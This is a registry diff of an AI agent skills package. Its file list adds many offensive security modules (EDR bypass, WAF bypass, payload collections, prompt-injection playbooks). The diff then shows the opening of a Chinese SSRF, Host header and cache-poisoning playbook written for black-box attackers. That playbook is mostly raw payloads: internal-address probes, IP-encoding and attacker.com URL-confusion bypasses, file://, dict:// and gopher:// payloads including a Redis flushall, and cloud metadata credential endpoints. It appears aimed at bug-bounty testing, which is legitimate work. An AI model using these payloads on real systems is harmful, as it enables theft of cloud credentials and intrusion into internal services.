opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,2098 @@
1
+ # SSRF / Host Header / 缓存投毒
2
+
3
+ > 视角:黑盒,目标是让目标服务器代我访问内网 / 云元数据 / 投毒缓存
4
+
5
+ ## 1. 一句话说清
6
+
7
+ - **SSRF**:让服务器替你向"它能到、你不能到"的地方发请求。
8
+ - **Host Header 注入**:通过伪造 Host / X-Forwarded-* 让应用错误地构造 URL / 缓存键。
9
+ - **缓存投毒**:把恶意响应固化到共享缓存层,让后续用户中招。
10
+
11
+ SRC 价值:未授权 SSRF→云元数据 → P0 ($3k–$20k);缓存投毒(管理后台) → P1。
12
+
13
+ ---
14
+
15
+ ## 2. 高频入口点
16
+
17
+ ### 2.1 SSRF 入口(必查)
18
+
19
+ ```
20
+ ?url= ?fetch=
21
+ ?image= ?img=
22
+ ?proxy= ?source=
23
+ ?path= ?file=(如果支持 http://)
24
+ ?callback= ?webhook=
25
+ ?next= ?redirect=
26
+ ?continue= ?return=
27
+
28
+ 功能场景:
29
+ - 头像 / 远程图片导入
30
+ - URL 预览(聊天 / 评论)
31
+ - Webhook 回调测试
32
+ - RSS / Atom 订阅
33
+ - 远程 PDF / Excel / 视频导入
34
+ - OAuth redirect / SAML ACS
35
+ - 服务器端图片处理(ImageMagick)
36
+ - PDF 生成(wkhtmltopdf / Puppeteer)
37
+ - 邮件预览(Open Graph fetch)
38
+ ```
39
+
40
+ ### 2.2 Host / X-Forwarded-* 入口
41
+
42
+ ```
43
+ Host
44
+ X-Forwarded-Host
45
+ X-Forwarded-For
46
+ X-Forwarded-Proto
47
+ X-Forwarded-Port
48
+ X-Forwarded-Server
49
+ X-Real-IP
50
+ X-Original-URL
51
+ X-Rewrite-URL
52
+ True-Client-IP
53
+ X-Client-IP
54
+ Forwarded: for=...; host=...
55
+ ```
56
+
57
+ ---
58
+
59
+ ## 3. 探测手法
60
+
61
+ ### 3.1 SSRF 基础探针(先看是否会发出请求)
62
+
63
+ ```bash
64
+ # 1. 用自己的 OOB 服务器(webhook.site / Burp Collaborator / interactsh)
65
+ url=https://your-oob-domain.com/abc
66
+
67
+ # 看 OOB 平台是否收到请求
68
+ # 收到 → 至少基本 SSRF 存在
69
+ ```
70
+
71
+ ### 3.2 内网探测
72
+
73
+ ```
74
+ # 回环 / 内网
75
+ url=http://127.0.0.1
76
+ url=http://127.0.0.1:80
77
+ url=http://127.0.0.1:8080
78
+ url=http://127.0.0.1:6379 # Redis
79
+ url=http://127.0.0.1:9200 # ES
80
+ url=http://127.0.0.1:8500 # Consul
81
+
82
+ url=http://localhost
83
+ url=http://10.0.0.1
84
+ url=http://172.16.0.1
85
+ url=http://192.168.0.1
86
+ url=http://[::1]
87
+ url=http://[::ffff:127.0.0.1]
88
+ ```
89
+
90
+ ### 3.3 IP 表示绕过
91
+
92
+ ```
93
+ # 全是 127.0.0.1 的等价写法
94
+ http://127.0.0.1
95
+ http://2130706433 # 十进制
96
+ http://017700000001 # 八进制
97
+ http://0x7f000001 # 十六进制
98
+ http://0x7f.0x0.0x0.0x1
99
+ http://0177.0.0.1
100
+ http://127.1 # 简写
101
+ http://127.0.1
102
+ http://[::1]
103
+ http://[::ffff:7f00:1]
104
+ http://[0:0:0:0:0:ffff:127.0.0.1]
105
+ ```
106
+
107
+ ### 3.4 域名绕过
108
+
109
+ ```
110
+ http://localtest.me # → 127.0.0.1(公共 DNS)
111
+ http://127.0.0.1.nip.io # → 127.0.0.1
112
+ http://customer1.app.localhost.my.company.127.0.0.1.nip.io
113
+ http://attacker.com#@127.0.0.1
114
+ http://attacker.com\@127.0.0.1
115
+ http://attacker.com&@127.0.0.1
116
+ http://attacker.com:8080@127.0.0.1
117
+ http://[email protected]@127.0.0.1
118
+ ```
119
+
120
+ ### 3.5 协议绕过
121
+
122
+ ```
123
+ file:///etc/passwd
124
+ file://localhost/etc/passwd
125
+
126
+ dict://127.0.0.1:6379/info
127
+ dict://127.0.0.1:11211/stats
128
+
129
+ gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...
130
+ gopher://127.0.0.1:25/ ... SMTP
131
+
132
+ ldap://127.0.0.1:389/
133
+ sftp://127.0.0.1:22/
134
+ tftp://attacker.com/file
135
+ ftp://anonymous:test@target/
136
+ ```
137
+
138
+ ### 3.6 云元数据(必试,价值最高)
139
+
140
+ ```
141
+ # AWS
142
+ http://169.254.169.254/latest/meta-data/
143
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
144
+ http://169.254.169.254/latest/user-data
145
+ http://instance-data/latest/meta-data/
146
+
147
+ # AWS IMDSv2(v1 关闭时)
148
+ 1. PUT http://169.254.169.254/latest/api/token Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
149
+ 2. GET ... Header: X-aws-ec2-metadata-token: <token>
150
+ → 大部分 SSRF 不能 PUT,IMDSv2 是有效的缓解
151
+
152
+ # GCP(必须含 Header: Metadata-Flavor: Google)
153
+ http://metadata.google.internal/computeMetadata/v1/
154
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
155
+
156
+ # Azure(必须含 Header: Metadata: true)
157
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
158
+
159
+ # 阿里云
160
+ http://100.100.100.200/latest/meta-data/
161
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/
162
+
163
